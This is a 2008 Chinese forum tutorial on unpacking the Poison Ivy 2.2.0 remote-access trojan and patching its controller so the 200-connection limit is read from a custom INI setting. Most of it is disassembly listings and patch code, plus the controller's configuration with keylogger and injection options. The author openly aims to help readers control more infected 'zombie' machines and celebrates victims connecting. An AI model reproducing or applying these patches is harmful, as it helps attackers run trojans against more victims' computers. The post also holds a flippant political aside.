扛着蛇皮袋进城 發表於 2008-10-8 19:05:11

当当养“鸡”专业户:pi2.2.0脱壳及连接200限制去除逆向工程

【文章标题】: 当当养&ldquo;鸡&rdquo;专业户!<br />

【文章作者】: KOOK1991<br />

【作者邮箱】: WeKnow@163.com<br />

【作者QQ号】: 371161181<br />

【软件名称】: Poison Ivy 2.2.0<br />

【下载地址】: http://www.poisonivy-rat.com/<br />

【加壳方式】: 未知<br />

【编写语言】: Borland Delphi 6.0 - 7.0<br />

【使用工具】: OllyICE、LoadPE、ImportREC、Topo<br />

【操作平台】: Win9x/NT/2000/XP<br />

【软件介绍】: 国外知名木马,服务端才几KB,强!<br />

【作者声明】: 我是菜鸟我怕谁!!!<br />

--------------------------------------------------------------------------------<br />

【详细过程】<br />

<br />

初中的时候一直认为拥有几千台肉鸡才叫&ldquo;黑客&rdquo;。眨眼间,两三年过去了,终于理解了&ldquo;黑客&rdquo;的真意,决心来看雪好<br />

好学学。无奈高手太多,使我无地自容,近来偶有感想,便拿出来显摆显摆&hellip;&hellip;<br />

<br />

Poison Ivy,知道吧?很有名气的木马,可就不知道为啥在国内火不起来,但我挺爱用。(受不了一些哥们,这么小的木<br />

马不用,成天背着几百KB的鸽子满天飞&hellip;&hellip;)好东西总有限制,Poison Ivy 2.2.0也不例外,限制最大连接数为200。<br />

于是我抄起了家伙,上路了&hellip;&hellip;<br />

<br />

首先,阐述一下这回的破解目标:<br />

<br />

对Poison Ivy 2.2.0进行逆向工程,增加自定义最大连接数的功能,以方便我们使用。让更多的人成为养&ldquo;鸡&rdquo;专业户,<br />

从而脱贫、致富、奔小康!!!!!!<br />

<br />

用PEiD查不出来壳,无奈。直接用OllyICE上,停在入口点:<br />

<br />

005A3060 &gt;60            pushad<br />

005A3061    E8 00000000   call    005A3066<br />

005A3066    5D            pop   ebp<br />

005A3067    81ED 725B4000   sub   ebp, 00405B72<br />

005A306D    64:A1 30000000mov   eax, dword ptr fs:<br />

005A3073    0FB640 02       movzx   eax, byte ptr <br />

005A3077    0AC0            or      al, al<br />

005A3079    74 04         je      short 005A307F<br />

005A307B    33C0            xor   eax, eax<br />

<br />

经验太少,看不出是什么壳:-(直接上。走过005A3060,直接用ESP定律&ldquo;HE 0012FFA4&rdquo;,F9运行,卡到这里:<br />

<br />

005A3711    50            push    eax                              ; PI.005A36C0<br />

005A3712    33C0            xor   eax, eax<br />

005A3714    64:FF30         push    dword ptr fs:<br />

005A3717    64:8920         mov   dword ptr fs:, esp<br />

005A371A    EB 01         jmp   short 005A371D<br />

005A371C    8700            xchg    dword ptr , eax<br />

005A371E    0000            add   byte ptr , al<br />

005A3720    0000            add   byte ptr , al<br />

005A3722    0000            add   byte ptr , al<br />

005A3724    0000            add   byte ptr , al<br />

<br />

F8一路向前<br />

<br />

005A371D    0000            add   byte ptr , al               ; 访问违规:正在写入到<br />

<br />

Shift F8,来到:<br />

<br />

7C92EAF0    8B1C24          mov   ebx, dword ptr <br />

7C92EAF3    51            push    ecx<br />

7C92EAF4    53            push    ebx<br />

7C92EAF5    E8 C78C0200   call    7C9577C1<br />

7C92EAFA    0AC0            or      al, al<br />

7C92EAFC    74 0C         je      short 7C92EB0A<br />

7C92EAFE    5B            pop   ebx<br />

7C92EAFF    59            pop   ecx<br />

7C92EB00    6A 00         push    0<br />

7C92EB02    51            push    ecx<br />

7C92EB03    E8 11EBFFFF   call    ZwContinue<br />

7C92EB08    EB 0B         jmp   short 7C92EB15<br />

7C92EB0A    5B            pop   ebx<br />

7C92EB0B    59            pop   ecx<br />

7C92EB0C    6A 00         push    0<br />

7C92EB0E    51            push    ecx<br />

7C92EB0F    53            push    ebx<br />

7C92EB10    E8 3DF7FFFF   call    ZwRaiseException<br />

<br />

Alt F9返回:<br />

<br />

00519B33    00B0 97510055   add   byte ptr , dh<br />

00519B39    8BEC            mov   ebp, esp                         ; 来到这里<br />

00519B3B    83C4 F0         add   esp, -10<br />

00519B3E    B8 D8975100   mov   eax, 005197D8<br />

00519B43    E8 1CD0EEFF   call    00406B64<br />

00519B48    A1 ACCF5100   mov   eax, dword ptr <br />

00519B4D    8B00            mov   eax, dword ptr <br />

00519B4F    E8 1822F7FF   call    0048BD6C<br />

00519B54    A1 ACCF5100   mov   eax, dword ptr <br />

00519B59    8B00            mov   eax, dword ptr <br />

00519B5B    BA 989B5100   mov   edx, 00519B98                  ; ASCII &quot;Poison Ivy&quot;<br />

00519B60    E8 FF1DF7FF   call    0048B964<br />

00519B65    8B0D 90CE5100   mov   ecx, dword ptr           ; PI.0051F368<br />

00519B6B    A1 ACCF5100   mov   eax, dword ptr <br />

00519B70    8B00            mov   eax, dword ptr <br />

00519B72    8B15 E8FB5000   mov   edx, dword ptr           ; PI.0050FC34<br />

00519B78    E8 0722F7FF   call    0048BD84<br />

<br />

哈哈,来到OEP,很熟悉的Delphi开头。用LoadPE修正镜像大小,完全Dump。再打开ImportREC,OEP填上00119B38,自动查<br />

找INT -&gt; 获取输入表 -&gt; Fix Dump,脱壳OK~~~~~<br />

<br />

为了保险起见,再用PEiD查一下脱壳后的文件――&ldquo;Borland Delphi 6.0 - 7.0&rdquo;,呵呵,没错,就是你!!<br />

<br />

用Dede打开脱壳后的Poison Ivy,Dede卡住了,看来作者不是吃素的。<br />

<br />

只好用OllyICE载入脱壳后的Poison Ivy -&gt; Ultra String Reference -&gt; Find ASCII。看了半天,终于找到了一句有用的<br />

String:<br />

<br />

Ultra String Reference, 条目 1813<br />

   Address=0051170A<br />

   Disassembly=mov   edx, 00511844<br />

   Text String=please assign a password for the connection:<br />

<br />

Ultra String Reference, 条目 1814<br />

   Address=0051170F<br />

   Disassembly=mov   eax, 0051187C<br />

   Text String=new connection<br />

<br />

直接双击来到这里<br />

<br />

005116CD|.50            push    eax                              ; /Parm<br />

005116CE|.68 7E660480   push    8004667E                         ; |Cmd = FIONBIO<br />

005116D3|.56            push    esi                              ; |Socket<br />

005116D4|.E8 D7BDF7FF   call                   ; \ioctlsocket<br />

005116D9|.81BB 3C070000&gt;cmp   dword ptr , 0C8<br />

005116E3|.7C 0B         jl      short 005116F0<br />

005116E5|.56            push    esi                              ; /Socket<br />

005116E6|.E8 8DBDF7FF   call                  ; \closesocket<br />

005116EB|.E9 F7000000   jmp   005117E7<br />

005116F0|&gt;8D45 F4       lea   eax, dword ptr <br />

005116F3|.8B15 ACF35100 mov   edx, dword ptr <br />

005116F9|.E8 0632EFFF   call    00404904<br />

005116FE|.803D 9DF35100&gt;cmp   byte ptr , 0<br />

00511705|.74 12         je      short 00511719<br />

00511707|.8D4D F4       lea   ecx, dword ptr <br />

0051170A|.BA 44185100   mov   edx, 00511844                  ;please assign a password for the connection:<br />

0051170F|.B8 7C185100   mov   eax, 0051187C                  ;new connection<br />

00511714|.E8 AB41F2FF   call    004358C4<br />

00511719|&gt;8D4D C8       lea   ecx, dword ptr <br />

<br />

哈哈,众里寻他千百度,蓦然回首――小样,你在这啊:<br />

<br />

005116D9|.81BB 3C070000 C8000000   cmp   dword ptr , 0C8         ; 比较当前连接数和0C8(就是200嘛)<br />

005116E3|.7C 0B                  jl      short 005116F0                   ; 小于200则跳<br />

005116E5|.56                     push    esi                              ; /Socket<br />

005116E6|.E8 8DBDF7FF            call                  ; \closesocket 断开连接<br />

<br />

可见在005116DF处的C8000000就是最大连接数,记住这个地址,后面有用的哦。<br />

<br />

找到了判断最大连接数的地方,可以直接把005116E3改成JMP,但有一点,假如你肉鸡太多,岂不被DDos了?看来这点还不<br />

够,我们还得控制最大连接数,也就是让程序随我们的意愿来自动修改005116DF处的最大连接数。考虑了半天,我决定用<br />

Poison Ivy的配置文件Poison Ivy.ini来保存欲设的最大连接数,以便我们在具体应用时方便地修改。<br />

<br />

先看看Poison Ivy.ini的内容吧!<br />

<br />

      ; 软件的启动模式(是否显示使用协议)<br />

Show=1<br />

       ; 软件的窗口及控件的大小设置<br />

MaximizedState=0<br />

Top=491<br />

Left=330<br />

Width=744<br />

Height=231<br />

ConTop=145<br />

ConLeft=110<br />

ConWidth=650<br />

ConHeight=380<br />

Column0=50<br />

Column1=90<br />

Column2=90<br />

Column3=80<br />

Column4=80<br />

Column5=60<br />

Column6=45<br />

Column7=63<br />

Column8=67<br />

Column9=50<br />

Column10=57<br />

DataTransfers=0<br />

         ; 很明显是有关控制端的配置信息,就把最大连接数存这吧<br />

ScrSize=75<br />

ScrBits=24<br />

ShareTo=<br />

ShareToSocks=<br />

ShareSocks=0<br />

Port=3460<br />

Password=admin<br />

BalloonTip=1<br />

MinimizeTray=1<br />

CloseTray=0<br />

Prompt=0<br />

PromptExit=0<br />

SimTransfers=2<br />

SDrounds=3<br />

Cache=1<br />

WindowColor=1<br />

TimestampColor=1<br />

KeynameColor=1<br />

WindowName=008000<br />

Timestamp=0000FF<br />

Keyname=808080<br />

PromptDelete=1<br />

AutoRefresh=0<br />

TreeLayout=1<br />

AutoLookUpdates=1<br />

AutoRemove=1<br />

HidePW=0<br />

      ; 配置被控端的信息1<br />

DNS=127.0.0.1:3460,<br />

ID=<br />

Password=admin<br />

Socks4=0<br />

S4DNS=<br />

         ; 配置被控端的信息2<br />

Startup=0<br />

ActiveXKey={1B4B734A-CC89-9B4A-0705-060108040104}<br />

<br />

Filename=<br />

Copy=0<br />

CopySystem=1<br />

CopyWindows=0<br />

Melt=0<br />

Keylogger=0<br />

Persistence=0<br />

      ; 配置被控端的信息3<br />

ProcessMutex=)!VoqA.I4<br />

KeyLoggerMutex=VLC9032Ca<br />

CustomInject=0<br />

CustomInjectProc=msnmsgr.exe<br />

<br />

我就决定在里添加一个子项&ldquo;Crack&rdquo;,用它来控制最大连接数,OK,开工!!!!<br />

<br />

要在配置文件中添加最大连接数的信息,最重要的就是读出最大连接数,那我没就必须找到程序是如何读配置文件的。重<br />

新回到OllyICE中看String:<br />

<br />

Ultra String Reference, 条目 1931<br />

   Address=00514609<br />

   Disassembly=mov   edx, 00514C28<br />

   Text String=settings<br />

<br />

Ultra String Reference, 条目 2070<br />

   Address=0051591E<br />

   Disassembly=mov   edx, 00516828<br />

   Text String=settings<br />

<br />

其中有很多的Settings,我只选了两处,因为其他的Settings都分布在这两处附近:<br />

<br />

00514609处:<br />

<br />

005145EB|.50            push    eax<br />

005145EC|.B9 5C4C5100   mov   ecx, 00514C5C                  ;sharetosocks<br />

005145F1|.BA 284C5100   mov   edx, 00514C28                  ;settings<br />

005145F6|.8B45 FC       mov   eax, dword ptr <br />

005145F9|.8B30          mov   esi, dword ptr <br />

005145FB|.FF56 04       call    dword ptr <br />

005145FE|.A0 A7F35100   mov   al, byte ptr <br />

00514603|.50            push    eax<br />

00514604|.B9 744C5100   mov   ecx, 00514C74                  ;sharesocks<br />

00514609|.BA 284C5100   mov   edx, 00514C28                  ;settings<br />

0051460E|.8B45 FC       mov   eax, dword ptr <br />

00514611|.8B30          mov   esi, dword ptr <br />

00514613|.FF56 14       call    dword ptr <br />

00514616|.A1 7CF35100   mov   eax, dword ptr <br />

0051461B|.50            push    eax<br />

0051461C|.B9 884C5100   mov   ecx, 00514C88                  ;port<br />

00514621|.BA 284C5100   mov   edx, 00514C28                  ;settings<br />

00514626|.8B45 FC       mov   eax, dword ptr <br />

00514629|.8B30          mov   esi, dword ptr <br />

0051462B|.FF56 0C       call    dword ptr <br />

0051462E|.A1 ACF35100   mov   eax, dword ptr <br />

00514633|.50            push    eax<br />

00514634|.B9 984C5100   mov   ecx, 00514C98                  ;password<br />

00514639|.BA 284C5100   mov   edx, 00514C28                  ;settings<br />

0051463E|.8B45 FC       mov   eax, dword ptr <br />

00514641|.8B30          mov   esi, dword ptr <br />

00514643|.FF56 04       call    dword ptr <br />

00514646|.A0 9AF35100   mov   al, byte ptr <br />

<br />

0051591E处:<br />

<br />

005158F8   .50            push    eax<br />

005158F9   .B9 5C685100   mov   ecx, 0051685C                  ;sharetosocks<br />

005158FE   .BA 28685100   mov   edx, 00516828                  ;settings<br />

00515903   .8B45 F8       mov   eax, dword ptr <br />

00515906   .8B18          mov   ebx, dword ptr <br />

00515908   .FF13          call    dword ptr <br />

0051590A   .8B55 A4       mov   edx, dword ptr <br />

0051590D   .B8 B4F35100   mov   eax, 0051F3B4<br />

00515912   .E8 A9EFEEFF   call    004048C0<br />

00515917   .6A 00         push    0<br />

00515919   .B9 74685100   mov   ecx, 00516874                  ;sharesocks<br />

0051591E   .BA 28685100   mov   edx, 00516828                  ;settings<br />

00515923   .8B45 F8       mov   eax, dword ptr <br />

00515926   .8B18          mov   ebx, dword ptr <br />

00515928   .FF53 10       call    dword ptr <br />

0051592B   .A2 A7F35100   mov   byte ptr , al<br />

00515930   .68 840D0000   push    0D84<br />

00515935   .B9 88685100   mov   ecx, 00516888                  ;port<br />

0051593A   .BA 28685100   mov   edx, 00516828                  ;settings<br />

0051593F   .8B45 F8       mov   eax, dword ptr <br />

00515942   .8B18          mov   ebx, dword ptr <br />

00515944   .FF53 08       call    dword ptr <br />

00515947   .A3 7CF35100   mov   dword ptr , eax<br />

0051594C   .68 98685100   push    00516898<br />

00515951   .8D45 A0       lea   eax, dword ptr <br />

00515954   .50            push    eax<br />

00515955   .B9 A8685100   mov   ecx, 005168A8                  ;password<br />

0051595A   .BA 28685100   mov   edx, 00516828                  ;settings<br />

0051595F   .8B45 F8       mov   eax, dword ptr <br />

00515962   .8B18          mov   ebx, dword ptr <br />

00515964   .FF13          call    dword ptr <br />

00515966   .8B55 A0       mov   edx, dword ptr <br />

<br />

具体谁是程序开始运行时读取Poison Ivy.ini的地方,不知道。分别下断点,0051591E在开始时断下来,00514609在结束<br />

时断下来,可见0051591E是读取Poison Ivy.ini,00514609是保存Poison Ivy.ini,知道了这些,继续!!<br />

<br />

分析一下,程序是如何读取Poison Ivy.ini里的内容的:<br />

<br />

00515930   .68 840D0000   push    0D84                           ;压入默认端口<br />

00515935   .B9 88685100   mov   ecx, 00516888                  ;port      INI中保存端口信息的子项名称<br />

0051593A   .BA 28685100   mov   edx, 00516828                  ;settings    INI中保存端口信息的项名称<br />

0051593F   .8B45 F8       mov   eax, dword ptr <br />

00515942   .8B18          mov   ebx, dword ptr <br />

00515944   .FF53 08       call    dword ptr                 ;进行读取<br />

00515947   .A3 7CF35100   mov   dword ptr , eax          ;把读取的值保存到51F37C<br />

<br />

00515930处之所以要把默认端口压入,是因为程序怕在读不出配置文件中port这一子项时,使用0来做端口导致出错,可<br />

见&ldquo;push    0D84&rdquo;的作用是让程序在00515944读不出配置文件该项时采用备用值0D84。<br />

<br />

好了,打开Topo差入100字节代码空间,(本人懒得去找了可用空间了,还是用工具吧,100字节肯定够用。)Topo中显示<br />

100字节加到了005A3A33,下面开始添加代码:<br />

<br />

首先,用OllyICE二进制编辑005A3A33,加入字符串&ldquo;Crack&rdquo;。(别忘了在&ldquo;Crack&rdquo;后加&ldquo;00&rdquo;。)<br />

<br />

接着,在005A3A39处添加我们的代码:<br />

<br />

005A3A39    68 840D0000   push    0C8                              ; 压入默认最大连接数,保存备用值200<br />

005A3A3E    B9 333A5A00   mov   ecx, 005A3A33                  ; ASCII &quot;Crack&quot;   INI中保存最大连接数的子项名称<br />

005A3A43    BA 28685100   mov   edx, 00516828                  ; ASCII &quot;Settings&quot;INI中保存最大连接数的项名称<br />

005A3A48    8B45 F8         mov   eax, dword ptr <br />

005A3A4B    8B18            mov   ebx, dword ptr <br />

005A3A4D    FF53 08         call    dword ptr                 ; 进行读取<br />

005A3A50    A3 DF165100   mov   dword ptr , eax          ; 把读取的最大连接数保存到上文提到的005116DF处,替换原来的最大连接数<br />

<br />

方便起见,就让程序从00515930处跳到我们这里吧,即:<br />

<br />

00515930   .68 840D0000   push    0D84<br />

<br />

改为:<br />

<br />

00515930   .- E9 04E10800   jmp   005A3A39<br />

<br />

为了使程序正常运行我们还要在005A3A50的下面加入如下代码:<br />

<br />

005A3A55    68 840D0000   push    0D84                           ; 把00515930原有功能修改了,最后还是要加上的,所谓&ldquo;有借有还,再借不难&rdquo;<br />

005A3A5A- E9 D61EF7FF   jmp   00515935                         ; 回归原位,这就相当于台湾再咋拗,到头还是得回归咱中国,呵呵:-)<br />

<br />

OK,用OllyICE保存EXE文件,让我来测试一下&hellip;&hellip;<br />

<br />

打开Poison Ivy.ini在下加入Crack=0,呵呵一个也连接不上了。把Crack=0改为10000,哈哈,肉鸡出现了!!<br />

再把Crack=0删除,哦~~~~,肉鸡又出现了!!!!!成功!!!!!<br />

<br />

最后,给有对本文兴趣的朋友留个小作业:继续对00514609处进行逆向工程,使程序可以在关闭时自动保存当前的最大连<br />

接数&hellip;&hellip;OK,就到这把!!!<br />



<br />
頁: [1]
查看完整版本: 当当养“鸡”专业户:pi2.2.0脱壳及连接200限制去除逆向工程